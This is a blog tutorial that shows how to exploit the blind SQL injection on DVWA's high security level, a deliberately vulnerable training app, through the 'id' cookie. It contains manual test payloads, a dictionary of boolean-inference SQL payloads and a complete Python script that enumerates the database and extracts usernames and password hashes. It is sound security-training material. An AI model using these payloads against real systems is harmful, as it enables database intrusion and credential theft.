Blind SQL Injection: How To Hack DVWA With Python (High Security)

StackzeroStackzero
10 min read

In this article, we are going to use Python to exploit DVWA by using a Blind SQL Injection attack on a high level of security.

You probably would remember from previous articles or maybe your background what is Blind SQL Injection.
Anyway, just as a refresher, SQL Injection it’s an attack that takes advantage of bad input management from the server.
This flaw allows the hacker to inject a SQL payload that potentially gives him full control of the database (it also depends on the database user privileges).

Blind SQL Injection is nothing more than an SQL Injection attack where the attacker cannot see the result on the output but have to infer that from the application behaviour.

I know that it might sound complicated, but it is not.
In this article, I will take many things for granted, so if you find this reading too hard, I invite you to read my previous posts.

In-Band SQL injection

Blind SQL injection

As always I assume you are working on a Kali Linux machine (on the contrary, there may be small differences).

Before starting to adjust our script we need a bit of reconnaissance, so let’s open our DVWA machine (as usual I’m using the one provided by TryHackMe).

I also want to remember you that the code for the whole series is in my GitHub repository.

I want just to tell you that I’m aware that this is not a so easy topic.
But I’m also confident that the best way to gain deep knowledge is by:

  • Take your time to read this and the previous articles

  • Replicate what we are doing, maybe trying to anticipate the next step

  • Take your own experiments! Edit the code and try by yourself.

This is the hacker mentality! And making everything leisurely and without distractions, your results will be amazing!

Step #0: The Reconnaissance

Before starting, let’s take a look at the DVWA Blind SQLi section as we did in the past.

So, in case you are using the TryHackMe machine configure your VPN and then log in with the following credentials:

  • username: admin

  • password: password

DVWA Login for Blind SQL injection

Now, you can go to the settings and set the security level as High.

DVWA security settings

After setting security to high and before writing our Python script, we can go to the Blind SQL injection section of DVWA.

We can see a link saying “Click here to change your ID.”

And by clicking this is the result.

DVWA Blind SQLiinput

Before going further, we need more information about the input form, so let’s inspect the code (Right Click + Inspect in Firefox).

This is what we should see at the bottom of our browser:

DVWA Blind SQLi input inspect

So this is what we know after these two simple steps:

  • It uses the POST method

  • It has the action pointing to the current page

  • It passes a parameter with id as the name.

We will soon see that it is not exactly the information we are looking for and that in retrospect it might be considered superfluous.
But we cannot know a priori, so it is a good habit to gather as much information as possible.

Now we can try to submit the value “1” and see this result.

DVWA Blind SQL injection high security homepage

It looks very similar to what we have seen in the previous levels (Medium).

Finding the SQLi vulnerable input

I like DVWA because every level teaches us new concepts, this time the lesson we can learn is that every field can be vulnerable, also cookies.
Saying that try to look at the cookies (SHIFT + F9 in Firefox) and you should see something similar to this:

Cookies of DVWA for the Blind SQL injection exploit with high secuiry

That’s how the application retrieves the input id, and this is the field we are going to exploit with our Blind SQL injection attack.

Step #1: Testing The Blind SQLi Vulnerability

Having reached this point, we want to test whether the field is vulnerable to SQL injection.
The first test will be manual and we are going to insert the following value into the cookies.

1' and 1=2 #

We can do it by opening the cookies section of our browser (SHIFT + F9 on Firefox) and then by replacing the value with our payload, as shown in the image below.

After that, the page will output this text without errors:

User ID is MISSING from the database.

We can do the counterevidence by inserting the following payload:

1' and 1=1 #

And again we have no errors, but this time the output will be:

User ID exists in the database.

So it’s obvious that we found the vulnerable field and that we can prepare our Python script to attack the application (there are no errors and we can control the boolean output).

Step #2: Exploiting The Blind SQLi Vulnerability

There are not so many lines of code to write because we have almost done the whole work in the previous two levels:

So let’s discuss a bit the changes we have to do.

In particular, all the changes are into the get_query_result function, where we need to:

  1. Set the “id” cookie with the payload

  2. Send the request by using the GET HTTP method (The POST we have seen is used just by the server to set the cookie).

There are no more changes, in fact, the main method and the queries are the same as we used in the Blind SQL Injection low-security.

As per the previous articles, the only libraries we need are:

  • BeautifulSoup: library in charge of parsing HTML.

  • requests: a library that helps to send HTTP requests.

You can install them by typing this on your terminal:

pip install beautifulsoup4 requests

The Queries’ dictionary

In this case, I’m going to take the same approach as the script into the medium level of security, so we will save all the queries in a dictionary.
This is the most crucial part to understand how to pass this level, so here is our dictionary:

queries = {
    "db_length": "1' AND LENGTH(DATABASE()) = {} #",
    "db_name": "1' AND SUBSTRING(DATABASE(), {}, 1) = '{}' #",
    "n_tables": "1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_type='base table' AND table_schema='{}')='{}' #",
    "tables": "1' AND SUBSTR((SELECT table_name from information_schema.tables WHERE table_type='base table' AND table_schema='{}' {} LIMIT 1),{},1)='{}' #",
    "n_columns": "1' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='{}')='{}' #",
    "columns": "1' AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='{}' LIMIT {}, 1),{},1)='{}' #",
    "users": "1' AND SUBSTR((SELECT {} FROM {} LIMIT {}, 1),{},1)='{}' #",
    "pwd_len": "1' AND LENGTH((SELECT {} FROM {} WHERE {}='{}'))={} #",
    "pwd": "1' AND SUBSTR((SELECT {} FROM {} WHERE {}='{}' LIMIT 1), {}, 1)='{}' #"
}

Since we are passing the query as a cookie, we don’t need to encode the hashtag as we did in the first level.

Edit the get_query_result function

The last important change we have to do is to the get_query_result function, differently from what we have seen in the previous level we have to use the HTTP GET request and pass the id as a cookie.
That’s extremely easy as you can see:

def get_query_result(s, sqli_blind_url, query, *args):
    try:
        concrete_query = query.format(*args)
        response = s.get(sqli_blind_url, cookies={"id": concrete_query})
        parser = DVWASQLiResponseParser(response)

        return parser.check_presence("exist")
    except AttributeError as e:
        return False

Now we are finally ready to run the script!

Step #4: Run The Script

We are finally at the end of our exercise, the last thing we have to remember it’s to change the cookie security to HIGH, and we can do this with a single line in our main function:

s.security = SecurityLevel.HIGH

And we are done!
We can’t do anything but run the script by typing on our terminal:

python main.py

This is the result!

Blind SQL injection DVWA high security final exploit's in python!

That’s amazing, and as usual, we can move to Crackstation and crack the retrieved hashed password:

DVWA Blind SQLi crack password

Code Overview

That’s all, but before going to the conclusion, let’s take a look at the full code:

from utils import *
from ast import literal_eval
def get_query_result(s, sqli_blind_url, query, *args):
    try:
        concrete_query = query.format(*args)
        s._session.cookies.set("id", concrete_query)
        response = s.get(sqli_blind_url)
        parser = DVWASQLiResponseParser(response)

        return parser.check_presence("exist")
    except AttributeError as e:
        return False


queries = {
    "db_length": "1' AND LENGTH(DATABASE()) = {} #",
    "db_name": "1' AND SUBSTRING(DATABASE(), {}, 1) = '{}' #",
    "n_tables": "1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_type='base table' AND table_schema='{}')='{}' #",
    "tables": "1' AND SUBSTR((SELECT table_name from information_schema.tables WHERE table_type='base table' AND table_schema='{}' {} LIMIT 1),{},1)='{}' #",
    "n_columns": "1' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='{}')='{}' #",
    "columns": "1' AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='{}' LIMIT {}, 1),{},1)='{}' #",
    "users": "1' AND SUBSTR((SELECT {} FROM {} LIMIT {}, 1),{},1)='{}' #",
    "pwd_len": "1' AND LENGTH((SELECT {} FROM {} WHERE {}='{}'))={} #",
    "pwd": "1' AND SUBSTR((SELECT {} FROM {} WHERE {}='{}' LIMIT 1), {}, 1)='{}' #"
}

if __name__ == "__main__":
    BASE_URL = "http://10.10.87.65"
    sqli_blind_url = f"{BASE_URL}/vulnerabilities/sqli_blind/#"

    with DVWASessionProxy(BASE_URL) as s:
        s.security = SecurityLevel.HIGH


        query = queries["db_length"]
        length = 0
        for i in range(1,10):
            if get_query_result(s, sqli_blind_url, query, i):
                print(f"[+] The DB's name length is {i}")
                length = i
                break


        query = queries["db_name"]
        dbname = []

        for i in range(1, length+1):
            for c in string.ascii_lowercase:
                if get_query_result(s, sqli_blind_url, query, i, c):
                    dbname.append(c)
                    break
        dbname = "".join(dbname)
        print(f'[+] Found a database with name: {dbname}')


        query = queries["n_tables"]
        n_tables = 0
        for i in range(1, 10):
            if get_query_result(s, sqli_blind_url, query, dbname, i):
                print(f"[+] It has {i} tables")
                n_tables = i
                break


        query = queries["tables"]

        found_tables = [[] for _ in range(n_tables)]
        completion = ""
        for i in range(n_tables):        
            for j in range(1, 10):
                for c in string.ascii_lowercase:
                    if get_query_result(s, sqli_blind_url, query, dbname, completion, j, c):
                        found_tables[i].append(c)
                        break
            print("\t","".join(found_tables[i]))
            completion += f" AND table_name <> '{(''.join(found_tables[i]))}'"



    users_table = input("Type the tabname to attack: ")
    query = queries["n_columns"]

    n_columns = 0
    for i in range(1, 10):
        if get_query_result(s, sqli_blind_url, query, users_table, i):
            print(f"[+] It has {i} columns")
            n_columns = i
            break

    query = queries["columns"]

    found_columns = [[] for _ in range(n_columns)]
    completion = ""
    print("[!] In order to speed up, try to press CTRL+C when you find the user and password columns")
    try:
        for i in range(n_columns):        
            for j in range(1, 12):
                for c in string.ascii_lowercase:
                    if get_query_result(s, sqli_blind_url, query, users_table, i, j, c):
                        found_columns[i].append(c)

                        break
            print("\t","".join(found_columns[i]))
    except KeyboardInterrupt as e:
        print("\nSkipping this phase!")


    users_column = input("Type the name of the column containing usernames: ")
    passwords_column = input("Type the name of the column containing passwords: ")

    query = queries["users"]

    found_users = [[] for _ in range(10)]

    print("[!] In order to speed up, try to press CTRL+C when you find the target user")
    try:
        for i in range(10):        
            for j in range(1, 12):
                for c in string.ascii_letters+string.digits:
                    if get_query_result(s, sqli_blind_url, query, users_column, users_table, i, j, c):
                        found_users[i].append(c)

                        break
            print("\t","".join(found_users[i]))
    except KeyboardInterrupt as e:
        print("\n Skipping this phase!")

    username = input("Type the name of the target user: ")

    query = queries["pwd_len"]
    pwd_length = 0
    for i in range(100):

        if get_query_result(s, sqli_blind_url, query, passwords_column, users_table, users_column, username, i ):
            pwd_length = i
            print(f"[+] The password length is: {i}")

    query = queries["pwd"]
    password = []
    for j in range(1, pwd_length+1):

        for c in string.ascii_letters+string.digits:

            if get_query_result(s, sqli_blind_url, query, passwords_column, users_table, users_column, username, j, c):
                password.append(c)

                break
    print("[+] Password is: ","".join(password))

Conclusion

We have seen that exploiting the Blind SQL injection of DVWA, from low to high difficulty, in Python is not so trivial.
But I think it was very educative, and maybe, following all the SQL injection series from the beginning, can give a deeper knowledge of the attack.

We’ve also seen that putting a bit of effort into the code organization can save a lot of time in case we need to adapt to different situations.

I hope you liked this article, and if you want to read more like this, you could follow my blog and my social.

See you soon!

0
Subscribe to my newsletter

Read articles from Stackzero directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Stackzero
Stackzero